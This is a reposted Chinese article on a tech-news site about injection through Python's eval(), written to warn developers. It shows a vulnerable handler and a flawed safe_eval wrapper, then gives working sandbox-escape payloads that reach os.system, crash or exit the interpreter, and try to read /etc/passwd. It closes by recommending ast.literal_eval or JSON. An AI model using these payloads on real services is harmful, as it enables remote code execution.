返回顶部
首页 > 资讯 > 后端开发 > Python >python eval的常见错误封装及利
  • 849
分享到

python eval的常见错误封装及利

常见错误python 2023-01-31 05:01:06 849人浏览 薄情痞子

Python 官方文档:入门教程 => 点击学习

摘要

最近在代码评审的过程,发现挺多错误使用eval导致代码注入的问题,比较典型的就是把eval当解析dict使用,有的就是简单的使用eval,有的就是错误的封装了eval,供全产品使用,这引出的问题更严重,这些都是血淋淋的教训,大家使用的时候多

最近在代码评审的过程,发现挺多错误使用eval导致代码注入的问题,比较典型的就是把eval当解析dict使用,有的就是简单的使用eval,有的就是错误的封装了eval,供全产品使用,这引出的问题更严重,这些都是血淋淋的教训,大家使用的时候多加注意。 
下面列举一个实际产品中的例子,详情见bug83055:

def remove(request, obj):
     query = query2dict(request.POST)
     eval(query['oper_type'])(query, customer_obj)

而query就是POST直接转换而来,是用户可直接控制的,假如用户在url参数中输入oper_type=__import__('os').system('sleep 5') 则可以执行命令sleep,当然也可以执行任意系统命令或者任意可执行代码,危害是显而易见的,那我们来看看eval到底是做什么的,以及如何做才安全

简单来说就是执行一段表达式

>>> eval('2+2')
4

>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}

>>> eval("__import__('os').system('uname')", {})
linux
0

从这三段代码来看,第一个很明显做计算用,第二个把string类型数据转换成python的数据类型,这里是dict,这也是咱们产品中常犯的错误。第三个就是坏小子会这么干,执行系统命令。 
eval 可接受三个参数,eval(source[, globals[, locals]]) -> value 
globals必须是路径,locals则必须是键值对,默认取系统globals和locals

(1)下面我们来看一段咱们某个产品代码中的封装函数,见bug,或者网络上搜索排名比较高的代码,eg:

def safe_eval(eval_str):
    try:
        #加入命名空间
        safe_dict = {}
        safe_dict['True'] = True
        safe_dict['False'] = False
        return eval(eval_str,{'__builtins__':None},safe_dict)
    except Exception,e:
        traceback.print_exc()
        return ''

在这里__builtins__置为空了,所以像__import__这是内置变量就没有了,这个封装函数就安全了吗?下面我一步步道来:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',

列表项

'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', 'debug', 'doc', 'import', 'name', 'package', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'claSSMethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'fORMat', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

__builtins__可以看到其模块中有__import__,可以借助用来执行os的一些操作。如果置为空,再去执行eval函数呢,结果如下:

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

现在就是提示__import__未定义,不能成功执行了,看情况是安全了吧?答案当然是错的。 
比如执行如下:

>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"test",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {'__builtins__':{}})
Segmentation fault (core dumped)

在这里用户定义了一段函数,这个函数调用,直接导致段错误 
下面这段代码则是退出解释器:

>>>
>>> s = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{'__builtins__':{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $

初步理解一下整个过程:

>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StrinGo'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]

这句Python代码的意思就是找tuple的class,再找它的基类,也就是object,再通过object找他的子类,具体的子类也如代码中的输出一样。从中可以看到了有file模块,zipimporter模块,是不是可以利用下呢?首先从file入手 
假如用户如果构造:

>>> s1 = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode

这个restrictected mode简单理解就是python解释器的沙盒,一些功能被限制了,比如说不能修改系统,不能使用一些系统函数,如file,详情见Restricted Execution Mode,那怎么去绕过呢?这时我们就想到了zipimporter了,假如引入的模块中引用了os模块,我们就可以像如下代码来利用。

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
Linux
0

这就验证了刚才的safe_eval其实是不安全的。

(1)使用ast.literal_eval 
(2)如果仅仅是将字符转为dict,可以使用JSON格式


--结束END--

本文标题: python eval的常见错误封装及利

本文链接: https://lsjlt.com/news/189242.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • python eval的常见错误封装及利
    最近在代码评审的过程,发现挺多错误使用eval导致代码注入的问题,比较典型的就是把eval当解析dict使用,有的就是简单的使用eval,有的就是错误的封装了eval,供全产品使用,这引出的问题更严重,这些都是血淋淋的教训,大家使用的时候多...
    99+
    2023-01-31
    常见 错误 python
  • Python 常见错误
    Python 常见错误: 单元素的元组: (1)并不是元组,实际上是在多处重载了小括号,比如在表达式里,小括号的作用是分组,(1,)这个才是单元素的元组。 模块: import module 是将...
    99+
    2023-01-31
    常见 错误 Python
  • pip 安装python模块常见错误
    1.报错:c/_cffi_backend.c:15:17: fatal error: ffi.h: No such file or directory     #include <ffi.h>                  ...
    99+
    2023-01-31
    模块 错误 常见
  • 常见的 Python 错误及其解决方案
    此文整理了一些常见的 Python 错误及其解决方案。 1、SyntaxError: invalid syntax 说明:无效的语法是最常见的错误之一,通常是由于编写代码时违反了 Python 的语...
    99+
    2023-08-31
    python 开发语言
  • python常见错误类型
    Python标准异常总结 AssertionError 断言语句(assert)失败 AttributeError 尝试访问未知的对象属性 EOFError 用户输入文件末尾标志EOF(Ctrl+d) Floating...
    99+
    2023-01-31
    错误 常见 类型
  • Python中常见的错误类型及解决方案
    Python中常见的错误类型及解决方案在使用Python进行编程的过程中,我们经常会遇到各种各样的错误。这些错误可能是因为我们的代码有误,也可能是由于运行环境或依赖库的问题。了解这些错误类型及其解决方案对于我们提高编程效率和调试能力非常重要...
    99+
    2023-10-22
    语法错误 逻辑错误 解决方案: 错误类型: 异常错误
  • Python HTTP请求的常见错误及解决方法
    错误 404:未找到资源 错误 404 是最常见的HTTP错误之一,表示服务器无法找到请求的资源。这可能是由于以下原因造成的: 请求的URL不正确。 请求的资源已被删除或移动。 服务器配置错误。 要解决此错误,您需要检查请求的U...
    99+
    2024-02-23
    Python HTTP请求 错误 解决方法
  • MySQL安装常见的错误整理
    本篇内容主要讲解“MySQL安装常见的错误整理”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“MySQL安装常见的错误整理”吧!问题一:#mysqlERROR 1...
    99+
    2024-04-02
  • php编译安装常见的错误以及解决方法
    这篇文章主要介绍“php编译安装常见的错误以及解决方法”,在日常操作中,相信很多人在php编译安装常见的错误以及解决方法问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”php编译安装常见的错误以及解决方法”的疑...
    99+
    2023-06-09
  • java常见的错误
    java常见的错误1、配置完Java环境变量之后,仍然不能使用java命令。 解决方法:如果是Windows10系统出现此问题,是因为个别Windows10系统不识别“JAVA_HOME”环境变量,将path中所有的“%JAVA_HOME%...
    99+
    2016-03-17
    java基础 java 常见错误
  • PHP常见错误及解决方法
    PHP作为一种非常流行的服务器端脚本语言,被广泛应用于Web开发。然而,在编写PHP代码时,常常会遇到一些错误,这些错误可能由语法错误、逻辑错误、运行时错误等引起。本文将针对常见的PH...
    99+
    2024-03-12
    解决方法 php错误 常见问题
  • Python中有哪些常见的错误
    本篇文章为大家展示了Python中有哪些常见的错误,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。1、忘记在if,for,def,elif,else,class等声明末尾加 :会导致“SyntaxEr...
    99+
    2023-06-16
  • Linux安装MySQL时的常见错误(rpm)
    一、rpm -ivh mysql-community-server-8.0.28-1.el6.x86_64.rpm时报错 在执行rpm -ivh mysql-community-server-8.0.28-1.el6.x86_64.rpm...
    99+
    2023-09-04
    mysql linux 数据库 Powered by 金山文档
  • Golang包安装攻略:避免常见错误,顺利下载安装
    Golang是一种开源的静态类型编程语言,由Google开发。它追求高效、简洁、方便,适用于构建各种类型的应用程序。在使用Golang进行开发之前,首先需要进行Golang的安装。本文...
    99+
    2024-02-24
    golang 安装包 下载技巧 系统安装
  • Python ORM 的常见坑洼指南:避免常见的错误
    Python ORM 常见坑洼指南:避免常见的错误 连接池问题: 连接池创建不当:确保为应用程序创建和管理一个连接池,以避免与数据库服务器建立和关闭连接的开销。 连接池大小不当:连接池应足够大,以满足应用程序的需求,但又不至于太大以致浪...
    99+
    2024-03-15
    ORM
  • SQL Server2019安装详细教程及常见错误处理
    在.net开发中我们经常会用到SQL Server,微软的SQL Server其实还算不错,而且其Developer(开发者版)也免费对用户使用,但是在安装的过程中,尤其是在没有之前版本的全新安装时,往往会出现很多问题,在...
    99+
    2018-03-14
    SQL Server2019安装详细教程及常见错误处理
  • CentOS编译安装PHP常见错误及解决办法
    1.configure: error: No curses/termcap library found yum -y install ncurses-devel 2.configure: error: xml2-conf...
    99+
    2022-06-04
    centos 编译安装php centos 编译安装
  • 关于react中的常见错误及解决
    目录最近在做react项目的时候遇到了几个报错,这几个报错在react项目还算常见,因此记录下来解决方法。 ’type’ is missing in prop...
    99+
    2024-04-02
  • Node.js OAuth:常见的错误及如何避免
    1. OAuth 流程配置不当 错误原因:配置不当的 OAuth 流程会导致应用程序无法正确授权。 避免方法:仔细遵循 OAuth 供应商提供的文档,确保正确设置客户端 ID、客户端密钥、回调 URL 和权限范围。 代码示例: cons...
    99+
    2024-02-19
    Node.js OAuth 错误 授权 安全性
  • 掌握Python标识符的常见错误及解决方法
    掌握Python标识符的常见错误及解决方法Python是一种易学易用的编程语言,具有强大的功能和灵活的语法。在学习和使用Python时,我们需要了解并正确使用Python中的标识符。标识符是用来标识变量、函数、类、模块等各种对象的名称。但是...
    99+
    2023-12-29
    错误 标识符 常见错误:Python标识符
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作